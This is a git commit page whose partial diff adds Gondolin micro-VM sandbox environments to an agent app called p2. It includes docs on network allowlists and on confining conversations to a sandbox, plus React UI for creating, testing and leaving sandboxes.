feat(p2): Gondolin sandbox environments
Some checks are pending
CI / build-check (push) Waiting to run
CI / test (coding-agent) (push) Waiting to run
CI / test (durable) (push) Waiting to run
CI / test (other) (push) Waiting to run
CI / mcp-conformance (push) Waiting to run

A sandbox is a new env type (`type: "gondolin"`): a long-lived Gondolin micro-VM on an SSH environment, with
listed host folders and an HTTP(S) host allowlist. The worker reaches it over SSH to the host, where p2's launcher
(plugins/envs/sandbox: native, or Docker when the host's Node/QEMU are too old) runs pi-env's daemon inside the VM,
so tools, workspace, terminals, uploads and MCP work unchanged. Names outside the allowlist are refused before
the host resolves them.

Conversations working in a sandbox cannot leave it: location tools, subagent spawn/configure, AgentLocations.move,
the terminal tool, and one-shot agents (which now inherit their caller's own location) all keep them there; only the
owner's Relocate moves a session out, after a confirmation. conversationConfinement() exposes it to plugins.

Owner-only management in the Envs sheet: sandboxes listed under their host, host test reports sandbox support,
create/edit/start/stop/restart/test, lock icons in the top bar and sidebar. Tests in test/p2/sandboxes.test.ts
(real VM cases with P2_TEST_GONDOLIN=1) and ui-sandboxes.test.ts; docs in docs/remote-envs.md.
This commit is contained in:
Mario Zechner 2026-11-05 23:35:04 +00:00
parent 6d3e342b25
commit 2a32a605a9
51 changed files with 3240 additions and 322 deletions

View file

@ -1,6 +1,6 @@
# Remote environments
`plugins/envs` manages SSH environments. Tools and workspace files live on the remote host; the worker,
`plugins/envs` manages SSH environments and sandboxes (Gondolin VMs on an SSH environment, see Sandboxes). Tools and workspace files live on the remote host; the worker,
Durable history, provider credentials and model calls stay on this device. Remote sessions never fall back
to local execution when configuration, trust or a connection is unavailable.
@ -34,6 +34,63 @@ own location still works on that machine. Open chats stay connected. Subagents s
where they are, on their machine, and keep running their tools there. Terminals already running stay on the machine
they were started on; new ones open where the viewed conversation works.
## Sandboxes
A sandbox is a Gondolin VM (earendil-works/gondolin: QEMU with KVM, host-side network policy) on an SSH environment,
its host. In the Envs sheet it is listed under its host, and the host's **Save and test** reports whether it can run
sandboxes: natively (Linux, `/dev/kvm` usable, Node >= 22, QEMU >= 7.2), through Docker (Linux, `/dev/kvm`, a usable
`docker`; e.g. Ubuntu 22.04, whose QEMU 6.2 is too old), or not, with the reason. Only the owner creates, edits,
starts, stops and deletes sandboxes, in the Envs sheet; plugins pick an existing one (env listings carry `type`).
```json
"box1": {
"type": "gondolin",
"host": "slayer",
"image": "alpine-base:latest",
"mounts": [{ "host": "~/sbx/box1", "guest": "/workspace" }, { "host": "~/datasets", "guest": "/data", "readonly": true }],
"allowHosts": ["registry.npmjs.org", "*.github.com"],
"cpus": 2,
"memoryMb": 2048
}
```
- **What the VM sees:** its own root file system (lost when the VM restarts) and the listed host folders; nothing else
of the host. In Docker mode folders must be inside the host user's home (only the home is shared with the container).
A writable folder must not contain or be inside `~/.pi` (p2's launcher and daemons run from there on the host).
`/opt/pi-env` (the daemon) and `/.p2-vfs` (Gondolin's own mount point) are reserved in the VM.
- **Network:** HTTP(S) to `allowHosts` only (Gondolin's patterns: `*` alone is any host, `*` inside a pattern any
substring); everything else is refused with 403 before the host resolves the name, so names do not leak to DNS. An
empty or missing list allows no host. Allowed names that resolve to private addresses are refused too. Other
protocols are not routed.
- **Lifecycle:** one long-lived VM per sandbox, shared by every session working in it. It starts at the first
connection (or **Start**, **Save and start**, **Test**) and runs until **Stop**, deleting the sandbox or moving it to
another host (both stop it first), the VM dying (the supervisor notices within seconds; the next connection starts
a new one) or a host reboot. Other configuration changes apply at its next start: the sheet says so while the
running VM is older, and offers **Save and restart**.
- **Connection:** the worker connects to the host over SSH as for the host itself, deploys pi-env's daemon there
(the same Linux binary runs in the VM) and p2's launcher (`plugins/envs/sandbox/`, under the host's
`~/.pi/p2/sandbox/<content hash>/`, checked by hash at every deployment; versions of other p2 installations stay
until unused for 30 days). It runs `p2-sandbox.sh start` (which may take minutes the first time: Docker image,
`npm ci` from the shipped lockfile, guest image download, boot) and then `p2-sandbox.sh daemon <key> <config>
<daemon> -- serve --token …`. The launcher picks native or Docker (image `p2-sandbox:<Dockerfile hash>` with Node and
QEMU only, container `p2-sandbox-<uid>-<Dockerfile hash>` with the home mounted at the same path and `/dev/kvm`
passed in), starts the sandbox's supervisor if needed (`p2-sandbox.mjs serve`, one process holding the VM; socket
and log under `~/.pi/p2/sandbox/run/<key>/`, `<key>` being the sandbox's name prefixed by a hash of this p2
installation's machine and data directory), copies the daemon into the VM and passes its stdin and stdout through.
Tools, the workspace, terminals, uploads and `send_file` then work as on any remote environment. Hosts must be
Linux. Connections to a sandbox are keyed by its configuration and its host's: editing either opens new ones.
- **Confinement:** a conversation whose environment is a sandbox cannot leave it. `location_envs` shows only the
sandbox; `location_dirs` and `location_move` take paths inside it; `subagent` spawn/configure place subagents only
in it; one-shot agents (`tools.agent`) inherit their caller's location (the `p2.inherited-location` document), so a
subagent's sandbox holds for the agents its scripts start. `AgentLocations.move` refuses to move a sandboxed session
out too, and `subagent` configure keeps a subagent working in a sandbox there whoever configures it. Only the
owner's Relocate moves a session out (the web UI asks first, also for a move to another sandbox). Confinement is decided per
conversation from its current location and the environment's configured `type`, never its name:
`conversationConfinement(harness.environments, id, ctx)` (`@p2/app/v1/worker`), backed by
`HarnessEnvironmentEntry.sandbox`. The `terminal` tool lists and drives only the session's terminals in the
caller's sandbox. Tools that run on the p2 machine or reach unconfined places (MCP, ports, conversations, …) are a
session tool policy's job, not the location's.
## Data and execution
`<P2_DATA_DIR>/envs.json` is independently observed by the server and workers. Invalid edits keep the last valid
@ -83,7 +140,9 @@ run commands on those hosts. Sharing is not filesystem isolation.
## Tests
From `apps/p2`: `npm run check`; `npm test`; focused:
`node --import ./src/source.ts --test test/p2/envs.test.ts`.
`node --import ./src/source.ts --test test/p2/envs.test.ts` and `test/p2/sandboxes.test.ts` (configuration,
launcher arguments, confinement; with `P2_TEST_GONDOLIN=1` also a real VM through the launcher and a session in a
sandbox over a loopback sshd, which need `/dev/kvm`, QEMU >= 7.2 or Docker, sshd and pi-env's packaged Linux daemon).
The tests use fake providers, temporary data/workspaces and server port 0. A disposable loopback sshd has its own
host key, authorized client key and remote HOME. The SSH case skips if sshd or a local pi-env daemon build is absent;

View file

@ -18,7 +18,8 @@ import { formats } from "@earendil-works/pi-schema/formats";
import type { JsonValue } from "@p2/app/v1";
import { record, SUBAGENT_TASK_ENTRY } from "@p2/app/v1";
import { defineP2Tool, isTopLevel, originOf, type P2Tool } from "@p2/app/v1/worker";
import { resolveChoice, Subagents } from "../subagents/contract.worker.ts";
import { InheritedLocation, resolveChoice, Subagents } from "../subagents/contract.worker.ts";
import { ownLocation } from "../subagents/tools.ts";
export const AGENT_TOOL = "agent";
const ATTEMPTS = 3;
@ -85,6 +86,8 @@ export function createAgentExtension(models: Models, access: () => ReadonlyMap<s
const listedOn = (await isTopLevel(api, api.conversationId, context))
? ROOT_CONVERSATION_ID
: api.conversationId;
// The agent works where its caller does: a caller with its own location (a subagent's) passes it on.
const inherited = await ownLocation(api, api.conversationId, context);
const conversationId = await api.commit(async (tx) => {
const run = await tx.doc(AgentRun, api.taskId);
if (run.conversationId === undefined) {
@ -97,6 +100,10 @@ export function createAgentExtension(models: Models, access: () => ReadonlyMap<s
modelTools: { add: choice.loaded },
instructions: `You are a one-shot subagent working for a script. Do the requested work. Your final answer is parsed by the script: it must be only a JSON value matching this JSON Schema, without prose or code fences:\n${JSON.stringify(args.schema)}`,
});
if (inherited) {
(await tx.doc(InheritedLocation, child.id)).location = inherited;
await configure(tx, child.id, { cwd: inherited.cwd });
}
run.conversationId = child.id;
const registry = await tx.doc(Subagents, listedOn);
registry.oneShots ??= {};

View file

@ -36,6 +36,7 @@ import {
keepSessions,
keptSizes,
knownMain,
LockIcon,
loadKept,
locationLabel,
MenuIcon,
@ -103,6 +104,7 @@ import {
} from "react";
import { createPortal } from "react-dom";
import { Drafts } from "../drafts/contract.ts";
import { Envs } from "../envs/contract.ts";
import { DirectoryPicker, directoryPickerLayer } from "../envs/contract.web.tsx";
import { Models } from "../models/contract.ts";
import type { ResourceSnapshot } from "../models/resources.ts";
@ -552,6 +554,14 @@ function TopBar({
const connected = useConnected();
const nav = useNavigation();
const route = useRoute();
// Only the owner reads environments: guests see the location without the sandbox lock.
const envs = useReadable(useObject(Envs, owner ? {} : undefined)?.envs);
const sandboxed = envs?.find((env) => env.name === session?.env)?.config.type === "gondolin";
const lock = sandboxed && (
<span className="title-lock">
<LockIcon size={11} />
</span>
);
return (
<header className="topbar">
<button
@ -587,8 +597,16 @@ function TopBar({
type="button"
className="title-cwd"
onClick={() => openLayer(directoryPickerLayer(session.env ?? null, session.cwd))}
{...(sandboxed ? { title: `Sandbox ${session.env}: tools run in its VM` } : {})}
>
{moving ? "Moving…" : locationLabel(session.env, session.cwd)}
{moving ? (
"Moving…"
) : (
<>
{lock}
{locationLabel(session.env, session.cwd)}
</>
)}
</button>
) : (
<p>{locationLabel(session.env, session.cwd)}</p>

View file

@ -23,8 +23,9 @@ export default defineFacet((host) => {
if (input.env?.cwd === undefined) return undefined;
const { env } = await locateConversation(harness, input.conversationId, context, input.read);
if (!env) return input.env.cwd;
const ssh = await environments.value.get("remote")?.host?.(env);
return `${input.env.cwd}\nTools run on the remote environment "${env}" (SSH host ${ssh}), not on the machine running p2.`;
const where =
(await environments.value.get("remote")?.describe?.(env)) ?? `the remote environment "${env}"`;
return `${input.env.cwd}\nTools run on ${where}, not on the machine running p2.`;
}),
],
});

View file

@ -130,6 +130,16 @@ export function DirectoryPicker({
// biome-ignore lint/correctness/useExhaustiveDependencies: lists again when the folder or environment changes; load is recreated each render.
useEffect(() => load(shown), [shown, env, service]);
const moves = moving !== undefined && moving.env !== env;
const sandboxHost = (name: string | null) => {
const config = envs.find((entry) => entry.name === name)?.config;
return config?.type === "gondolin" ? config.host : undefined;
};
const sandbox = sandboxHost(env) !== undefined;
// Leaving a sandbox is confirmed: outside every sandbox its tools run unconfined, in another one they get its
// folders and network access.
const leaves = moves && sandboxHost(moving.env) !== undefined;
const [leaving, setLeaving] = useState<string>();
const target = listing ? listingKey(env, listing.path) : undefined;
return (
<Sheet title="Working directory" onClose={onClose}>
@ -144,11 +154,26 @@ export function DirectoryPicker({
disabled={loading}
>
<option value="">This device</option>
{envs.map((entry) => (
{envs.map(
(entry) =>
entry.config.type === "ssh" && (
<option key={entry.name} value={entry.name}>
{entry.name} (remote)
</option>
))}
),
)}
{envs.some((entry) => entry.config.type === "gondolin") && (
<optgroup label="Sandboxes">
{envs.map(
(entry) =>
entry.config.type === "gondolin" && (
<option key={entry.name} value={entry.name}>
{entry.name} · sandbox on {entry.config.host}
</option>
),
)}
</optgroup>
)}
</select>
)}
<form
@ -168,16 +193,47 @@ export function DirectoryPicker({
disabled={loading}
/>
</form>
{listing && (
{sandbox && (
<p className="muted small directory-note">
Tools of this session run in the {env} VM and can't leave it. Only you can move the session out.
</p>
)}
{listing &&
(leaves && leaving === target ? (
<div className="notice env-test directory-leave" role="alert">
<p>
<strong>Leave sandbox {moving?.env}?</strong>
</p>
<p>
{sandbox
? `Moving to ${locationLabel(env, listing.path)} gives this session's tools sandbox ${env}'s folders and allowed hosts instead.`
: `Moving to ${locationLabel(env, listing.path)} lets this session's tools run directly on ${env ?? "this device"}, with its full network access and files.`}
</p>
<p className="muted small">Files written in the sandbox stay in its folders.</p>
<div className="inline-form">
<button
type="button"
className="button danger"
disabled={loading}
onClick={() => onChange(env, listing.path)}
>
Move out
</button>
<button type="button" className="button" onClick={() => setLeaving(undefined)}>
Cancel
</button>
</div>
</div>
) : (
<button
type="button"
className="button primary block directory-use"
disabled={loading}
onClick={() => onChange(env, listing.path)}
onClick={() => (leaves ? setLeaving(target) : onChange(env, listing.path))}
>
{moves ? "Move session to" : "Use"} {locationLabel(env, listing.path)}
</button>
)}
))}
{moves && (
<p className="muted small directory-note">
Tools will run {env === null ? "on this device" : `on ${env}`}. The history stays; files are not

View file

@ -4,6 +4,7 @@ import {
ChevronIcon,
CopyButton,
errorText,
LockIcon,
PlusIcon,
Sheet,
SlotList,
@ -12,11 +13,11 @@ import {
useOptimisticCall,
useReadable,
} from "@p2/app/v1/web";
import { useEffect, useRef, useState } from "react";
import { type EnvSummary, Envs, type EnvTest } from "./contract.ts";
import { ENV_NAME, type EnvConfig } from "./schema.ts";
import { type KeyboardEvent, useEffect, useRef, useState } from "react";
import { type EnvSummary, Envs, type EnvTest, type SandboxStatus } from "./contract.ts";
import { ENV_NAME, type EnvConfig, type GondolinEnvConfig, type SandboxMount, type SshEnvConfig } from "./schema.ts";
type Draft = {
type SshDraft = {
name: string;
host: string;
user: string;
@ -26,7 +27,7 @@ type Draft = {
loginShell: boolean;
shellEnv: string;
};
const EMPTY: Draft = {
const EMPTY: SshDraft = {
name: "",
host: "",
user: "",
@ -36,21 +37,21 @@ const EMPTY: Draft = {
loginShell: false,
shellEnv: "",
};
function draftOf(env: EnvSummary): Draft {
function sshDraftOf(name: string, config: SshEnvConfig): SshDraft {
return {
name: env.name,
host: env.config.host,
user: env.config.user ?? "",
port: env.config.port === undefined ? "" : String(env.config.port),
identityFile: env.config.identityFile ?? "",
shellPath: env.config.shellPath ?? "",
loginShell: env.config.loginShell ?? false,
shellEnv: Object.entries(env.config.shellEnv ?? {})
name,
host: config.host,
user: config.user ?? "",
port: config.port === undefined ? "" : String(config.port),
identityFile: config.identityFile ?? "",
shellPath: config.shellPath ?? "",
loginShell: config.loginShell ?? false,
shellEnv: Object.entries(config.shellEnv ?? {})
.map(([key, value]) => `${key}=${value}`)
.join("\n"),
};
}
function configOf(draft: Draft): EnvConfig {
function sshConfigOf(draft: SshDraft): EnvConfig {
const shellEnv: Record<string, string> = {};
for (const line of draft.shellEnv.split("\n")) {
if (!line.trim()) continue;
@ -84,6 +85,75 @@ function applyEnv(envs: EnvSummary[] | undefined, guess: EnvGuess): EnvSummary[]
? envs.map((env) => (env === saved ? { ...env, config: guess.config } : env))
: [...envs, { name: guess.name, config: guess.config, sessions: 0 }];
}
type SandboxDraft = {
name: string;
host: string;
image: string;
mounts: SandboxMount[];
allowHosts: string;
cpus: string;
memoryMb: string;
};
function sandboxDraftOf(name: string, config: GondolinEnvConfig): SandboxDraft {
return {
name,
host: config.host,
image: config.image ?? "",
mounts: config.mounts ?? [],
allowHosts: (config.allowHosts ?? []).join("\n"),
cpus: config.cpus === undefined ? "" : String(config.cpus),
memoryMb: config.memoryMb === undefined ? "" : String(config.memoryMb),
};
}
function sandboxConfigOf(draft: SandboxDraft): EnvConfig {
const number = (value: string, label: string) => {
if (!/^\d+$/.test(value.trim())) throw new Error(`${label} must be a number`);
return Number(value.trim());
};
const allowHosts = draft.allowHosts
.split("\n")
.map((line) => line.trim())
.filter(Boolean);
return {
type: "gondolin",
host: draft.host,
...(draft.image.trim() ? { image: draft.image.trim() } : {}),
...(draft.mounts.length ? { mounts: draft.mounts } : {}),
...(allowHosts.length ? { allowHosts } : {}),
...(draft.cpus.trim() ? { cpus: number(draft.cpus, "CPUs") } : {}),
...(draft.memoryMb.trim() ? { memoryMb: number(draft.memoryMb, "Memory") } : {}),
};
}
/** The edited screen: an SSH environment or a sandbox, new or saved. */
type Editing =
| { kind: "ssh"; draft: SshDraft; existing: boolean }
| { kind: "gondolin"; draft: SandboxDraft; existing: boolean };
function editingOf(env: EnvSummary): Editing {
return env.config.type === "ssh"
? { kind: "ssh", draft: sshDraftOf(env.name, env.config), existing: true }
: { kind: "gondolin", draft: sandboxDraftOf(env.name, env.config), existing: true };
}
/** Locator prefix of a new sandbox's screen, followed by its preset host (env names cannot start with `+`). */
const NEW_SANDBOX = "+sandbox:";
/** A sandbox's VM as last read; `unknown` when reading it failed. */
type VmState = SandboxStatus | { state: "unknown"; error: string };
const plural = (count: number, word: string) => `${count} ${word}${count === 1 ? "" : "s"}`;
function uptime(startedAt: number): string {
const minutes = Math.floor((Date.now() - startedAt) / 60_000);
if (minutes < 1) return "less than a minute";
if (minutes < 60) return `${minutes} min`;
if (minutes < 48 * 60) return `${Math.floor(minutes / 60)} h`;
return `${Math.floor(minutes / 1440)} d`;
}
/** Whether an SSH env's last test found a runtime for sandboxes. */
function hostsSandboxes(env: EnvSummary): boolean {
return env.test?.ok === true && env.test.sandboxes !== undefined && env.test.sandboxes.runtime !== "none";
}
function TestResult({
test,
busy,
@ -97,6 +167,7 @@ function TestResult({
}) {
if (test.ok)
return (
<>
<div className="notice env-test">
<p>
<strong>Connected</strong> · {test.platform} {test.arch} · pi-env {test.version} · {test.latencyMs} ms
@ -111,6 +182,22 @@ function TestResult({
</p>
))}
</div>
{test.sandboxes && (
<div className="notice env-test">
<p>
{test.sandboxes.runtime === "none" ? (
<strong>Sandboxes: not available</strong>
) : (
<>
<strong>Sandboxes: ready</strong> · Gondolin{" "}
{test.sandboxes.runtime === "native" ? "natively" : "in Docker"}
</>
)}
</p>
{test.sandboxes.detail && <p className="muted small">{test.sandboxes.detail}</p>}
</div>
)}
</>
);
return (
<div className="notice error env-test">
@ -264,117 +351,44 @@ function KeySection({
);
}
/** The route's locator is the edited environment; an empty locator creates one. Form edits are not steps. */
export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: () => void }) {
const service = useObject(Envs, {});
const loadError = useReadable(service?.failure);
const nav = useNavigation();
const [editing, setEditing] = useState<{ draft: Draft; existing: boolean }>();
const [test, setTest] = useState<EnvTest>();
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string>();
// Saves and deletions show in the list at once; a refused one rolls back with its error.
const [envs, edit] = useOptimisticCall(useReadable(service?.envs), applyEnv, (reason) =>
setError(errorText(reason)),
);
const [confirmDelete, setConfirmDelete] = useState(false);
const filled = useRef<string | null | undefined>(null);
useEffect(() => {
if (filled.current === screen) return;
if (screen === undefined) {
filled.current = screen;
setEditing(undefined);
return;
}
const env = envs?.find((entry) => entry.name === screen);
if (screen !== "" && !env) return;
filled.current = screen;
setEditing(env ? { draft: draftOf(env), existing: true } : { draft: EMPTY, existing: false });
setTest(env?.test);
setError(undefined);
setConfirmDelete(false);
}, [screen, envs]);
const toScreen = (name: string | undefined, how: "push" | "close" = "push") =>
void nav[how]({
...nav.route,
layers: [
...nav.route.layers.slice(0, -1),
{ kind: "sheet", name: "envs", ...(name === undefined ? {} : { locator: name }) },
],
});
const run = async (operation: () => Promise<void>) => {
setBusy(true);
setError(undefined);
try {
await operation();
} catch (reason) {
setError(errorText(reason));
} finally {
setBusy(false);
}
};
const name = editing?.draft.name.trim() ?? "";
const update = (patch: Partial<Draft>) =>
setEditing((current) => current && { ...current, draft: { ...current.draft, ...patch } });
/** Saves the form: the environment is listed (and the form an existing one's) at once; the save's call. */
const save = (): Promise<unknown> | undefined => {
if (!service || !editing) return undefined;
setError(undefined);
let config: EnvConfig;
try {
config = configOf(editing.draft);
} catch (reason) {
setError(errorText(reason));
return undefined;
}
const saving = service.save({ name, config }, BACKGROUND_CONTEXT);
edit({ kind: "save", name, config }, () => saving);
setEditing((current) => current && { ...current, existing: true });
if (!editing.existing) {
filled.current = name;
void nav.replace({
...nav.route,
layers: [...nav.route.layers.slice(0, -1), { kind: "sheet", name: "envs", locator: name }],
});
}
return saving;
};
/** Saves, then tests: long work, so the form shows "Working…" until the test answers. */
const saveAndTest = () =>
void run(async () => {
const saving = save();
if (!saving || !service) return;
await saving;
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
});
if (editing) {
const { draft, existing } = editing;
const sessions = envs?.find((env) => env.name === name)?.sessions ?? 0;
const NO_AUTOCORRECT = { autoCapitalize: "off", autoCorrect: "off", spellCheck: false } as const;
function NameField({
value,
placeholder,
onChange,
}: {
value: string;
placeholder: string;
onChange: (value: string) => void;
}) {
return (
<Sheet title={existing ? name : "New environment"} onClose={onClose}>
<form
className="stack env-form"
onSubmit={(event) => {
event.preventDefault();
// A refused save shows through its rollback.
void save()?.catch(() => {});
}}
>
{!existing && (
<label className="field">
<span className="label">Name</span>
<input
className="input mono"
value={draft.name}
onChange={(event) => update({ name: event.target.value })}
placeholder="gpu"
autoCapitalize="off"
autoCorrect="off"
spellCheck={false}
value={value}
onChange={(event) => onChange(event.target.value)}
placeholder={placeholder}
{...NO_AUTOCORRECT}
required
/>
</label>
)}
);
}
function SshFields({
draft,
existing,
update,
}: {
draft: SshDraft;
existing: boolean;
update: (patch: Partial<SshDraft>) => void;
}) {
return (
<>
{!existing && <NameField value={draft.name} placeholder="gpu" onChange={(name) => update({ name })} />}
<label className="field">
<span className="label">Host (name or ~/.ssh/config alias)</span>
<input
@ -382,9 +396,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
value={draft.host}
onChange={(event) => update({ host: event.target.value })}
placeholder="gpu-box"
autoCapitalize="off"
autoCorrect="off"
spellCheck={false}
{...NO_AUTOCORRECT}
required
/>
</label>
@ -395,9 +407,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
className="input mono"
value={draft.user}
onChange={(event) => update({ user: event.target.value })}
autoCapitalize="off"
autoCorrect="off"
spellCheck={false}
{...NO_AUTOCORRECT}
/>
</label>
<label className="field env-port">
@ -418,9 +428,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
value={draft.identityFile}
onChange={(event) => update({ identityFile: event.target.value })}
placeholder="~/.ssh/id_ed25519"
autoCapitalize="off"
autoCorrect="off"
spellCheck={false}
{...NO_AUTOCORRECT}
/>
</label>
<label className="field">
@ -429,9 +437,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
className="input mono"
value={draft.shellPath}
onChange={(event) => update({ shellPath: event.target.value })}
autoCapitalize="off"
autoCorrect="off"
spellCheck={false}
{...NO_AUTOCORRECT}
/>
</label>
<label className="check">
@ -449,26 +455,519 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
rows={2}
value={draft.shellEnv}
onChange={(event) => update({ shellEnv: event.target.value })}
autoCapitalize="off"
autoCorrect="off"
spellCheck={false}
{...NO_AUTOCORRECT}
/>
</label>
</>
);
}
/** The host folders a sandbox sees; a new one is entered in place. */
function FoldersField({
host,
mounts,
onChange,
}: {
host: string;
mounts: SandboxMount[];
onChange: (mounts: SandboxMount[]) => void;
}) {
const [adding, setAdding] = useState<{ host: string; guest: string; readonly: boolean }>();
const ready = adding !== undefined && adding.host.trim() !== "" && adding.guest.trim() !== "";
const add = () => {
if (!adding || !ready) return;
onChange([
...mounts,
{ host: adding.host.trim(), guest: adding.guest.trim(), ...(adding.readonly ? { readonly: true } : {}) },
]);
setAdding(undefined);
};
// Enter adds the folder instead of submitting (saving) the whole form.
const onKeyDown = (event: KeyboardEvent) => {
if (event.key !== "Enter") return;
event.preventDefault();
add();
};
return (
<div className="stack sandbox-folders">
<span className="label">Folders from {host || "the host"}</span>
{!mounts.length && !adding && <p className="muted small">None: the VM sees only its own files.</p>}
{mounts.map((mount, index) => (
<div className="sandbox-folder" key={mount.guest}>
<span className="mono small">
{mount.host} → {mount.guest}
</span>
<button
type="button"
className="text-action"
title={mount.readonly ? "Read-only; tap to allow writes" : "Writable; tap to make read-only"}
onClick={() =>
onChange(
mounts.map((each, at) =>
at === index
? { host: each.host, guest: each.guest, ...(each.readonly ? {} : { readonly: true }) }
: each,
),
)
}
>
{mount.readonly ? "ro" : "rw"}
</button>
<button
type="button"
className="text-action"
aria-label={`Remove ${mount.guest}`}
onClick={() => onChange(mounts.filter((_, at) => at !== index))}
>
✕
</button>
</div>
))}
{adding ? (
<div className="stack">
<div className="env-row">
<label className="field">
<span className="label">Folder on {host || "the host"}</span>
<input
className="input mono"
value={adding.host}
onChange={(event) => setAdding({ ...adding, host: event.target.value })}
onKeyDown={onKeyDown}
placeholder="~/project"
{...NO_AUTOCORRECT}
/>
</label>
<label className="field">
<span className="label">Path in the sandbox</span>
<input
className="input mono"
value={adding.guest}
onChange={(event) => setAdding({ ...adding, guest: event.target.value })}
onKeyDown={onKeyDown}
placeholder="/workspace"
{...NO_AUTOCORRECT}
/>
</label>
</div>
<label className="check">
<input
type="checkbox"
checked={adding.readonly}
onChange={(event) => setAdding({ ...adding, readonly: event.target.checked })}
/>
Read-only
</label>
<div className="inline-form">
<button type="submit" className="button" disabled={busy || !name || !draft.host.trim()}>
<button type="button" className="button" disabled={!ready} onClick={add}>
Add folder
</button>
<button type="button" className="text-action" onClick={() => setAdding(undefined)}>
Cancel
</button>
</div>
</div>
) : (
<button
type="button"
className="text-action"
onClick={() => setAdding({ host: "", guest: "", readonly: false })}
>
+ Add folder
</button>
)}
</div>
);
}
function SandboxFields({
draft,
existing,
hosts,
update,
}: {
draft: SandboxDraft;
existing: boolean;
hosts: string[];
update: (patch: Partial<SandboxDraft>) => void;
}) {
return (
<>
{!existing && <NameField value={draft.name} placeholder="box1" onChange={(name) => update({ name })} />}
<label className="field">
<span className="label">Runs on</span>
<select
className="input"
value={draft.host}
onChange={(event) => update({ host: event.target.value })}
required
>
{!hosts.includes(draft.host) && <option value="">Choose an SSH environment</option>}
{hosts.map((host) => (
<option key={host} value={host}>
{host}
</option>
))}
</select>
</label>
<label className="field">
<span className="label">Image (optional)</span>
<input
className="input mono"
value={draft.image}
onChange={(event) => update({ image: event.target.value })}
placeholder="alpine-base:latest"
{...NO_AUTOCORRECT}
/>
</label>
<FoldersField host={draft.host} mounts={draft.mounts} onChange={(mounts) => update({ mounts })} />
<label className="field">
<span className="label">Allowed hosts (one per line)</span>
<textarea
className="input mono"
rows={3}
value={draft.allowHosts}
onChange={(event) => update({ allowHosts: event.target.value })}
placeholder={"github.com\n*.npmjs.org"}
{...NO_AUTOCORRECT}
/>
<span className="muted small">All other HTTP(S) is refused with 403. No other protocols.</span>
</label>
<div className="env-row">
<label className="field">
<span className="label">CPUs</span>
<input
className="input mono"
value={draft.cpus}
onChange={(event) => update({ cpus: event.target.value })}
inputMode="numeric"
placeholder="2"
/>
</label>
<label className="field">
<span className="label">Memory (MB)</span>
<input
className="input mono"
value={draft.memoryMb}
onChange={(event) => update({ memoryMb: event.target.value })}
inputMode="numeric"
placeholder="1024"
/>
</label>
</div>
</>
);
}
/** A VM state dot and word, for list rows. */
function VmLabel({ vm, tested }: { vm: VmState | undefined; tested: boolean }) {
const text =
vm === undefined ? (tested ? "…" : "not tested") : vm.state === "stopped" && !tested ? "not tested" : vm.state;
return (
<>
<span className={`vm-dot ${vm?.state ?? ""}`} />
{text}
</>
);
}
/** A sandbox's VM on its detail screen. */
function VmStatus({ vm, host }: { vm: VmState | undefined; host: string }) {
if (!vm) return <p className="notice">Reading the VM's state on {host}…</p>;
if (vm.state === "unknown") return <p className="notice error">VM state unknown: {vm.error}</p>;
if (vm.state === "stopped")
return (
<div className="notice env-test">
<p>
<strong>Stopped</strong> · on {host}
</p>
</div>
);
return (
<div className="notice env-test">
<p>
<strong>Running</strong> · up {uptime(vm.startedAt)} · on {host}
</p>
<p className="muted small">
{plural(vm.cpus, "CPU")} · {vm.memoryMb} MB
</p>
{!vm.current && <p className="small">⚠ Changes apply when the VM next starts.</p>}
</div>
);
}
function SandboxRow({
env,
vm,
indented,
onOpen,
}: {
env: EnvSummary;
vm: VmState | undefined;
indented: boolean;
onOpen: () => void;
}) {
return (
<button type="button" className={`row-button ${indented ? "env-sandbox" : ""}`} onClick={onOpen}>
<span>
<LockIcon /> <strong>{env.name}</strong>
</span>
<small className="row-value">
<VmLabel vm={vm} tested={env.test !== undefined} /> · {plural(env.sessions, "session")}
</small>
<ChevronIcon />
</button>
);
}
/** The route's locator is the edited environment; an empty locator creates one. Form edits are not steps. */
export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: () => void }) {
const service = useObject(Envs, {});
const loadError = useReadable(service?.failure);
const nav = useNavigation();
const [editing, setEditing] = useState<Editing>();
const [test, setTest] = useState<EnvTest>();
const [vms, setVms] = useState<Record<string, VmState>>({});
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string>();
// Saves and deletions show in the list at once; a refused one rolls back with its error.
const [envs, edit] = useOptimisticCall(useReadable(service?.envs), applyEnv, (reason) =>
setError(errorText(reason)),
);
const [confirmDelete, setConfirmDelete] = useState(false);
const filled = useRef<string | null | undefined>(null);
useEffect(() => {
if (filled.current === screen) return;
if (screen === undefined) {
filled.current = screen;
setEditing(undefined);
return;
}
const host = screen.startsWith(NEW_SANDBOX) ? screen.slice(NEW_SANDBOX.length) : undefined;
const env = envs?.find((entry) => entry.name === screen);
if (screen !== "" && host === undefined && !env) return;
filled.current = screen;
setEditing(
env
? editingOf(env)
: host !== undefined
? { kind: "gondolin", draft: sandboxDraftOf("", { type: "gondolin", host }), existing: false }
: { kind: "ssh", draft: EMPTY, existing: false },
);
setTest(env?.test);
setError(undefined);
setConfirmDelete(false);
}, [screen, envs]);
const sandboxNames = (envs ?? [])
.flatMap((entry) => (entry.config.type === "gondolin" ? [entry.name] : []))
.join(" ");
const readVm = (name: string) =>
service?.sandboxStatus({ name }, BACKGROUND_CONTEXT).then(
(status): VmState => status,
(reason: unknown): VmState => ({ state: "unknown", error: errorText(reason) }),
);
// VM states are read again on every screen (best effort): the list never waits for them.
// biome-ignore lint/correctness/useExhaustiveDependencies: reads again when the screen or the sandboxes change; readVm is recreated each render.
useEffect(() => {
let current = true;
for (const name of sandboxNames.split(" ").filter(Boolean))
void readVm(name)?.then((vm) => {
if (current) setVms((states) => ({ ...states, [name]: vm }));
});
return () => {
current = false;
};
}, [service, sandboxNames, screen]);
const setVm = (name: string, vm: VmState) => setVms((states) => ({ ...states, [name]: vm }));
const toScreen = (name: string | undefined, how: "push" | "close" = "push") =>
void nav[how]({
...nav.route,
layers: [
...nav.route.layers.slice(0, -1),
{ kind: "sheet", name: "envs", ...(name === undefined ? {} : { locator: name }) },
],
});
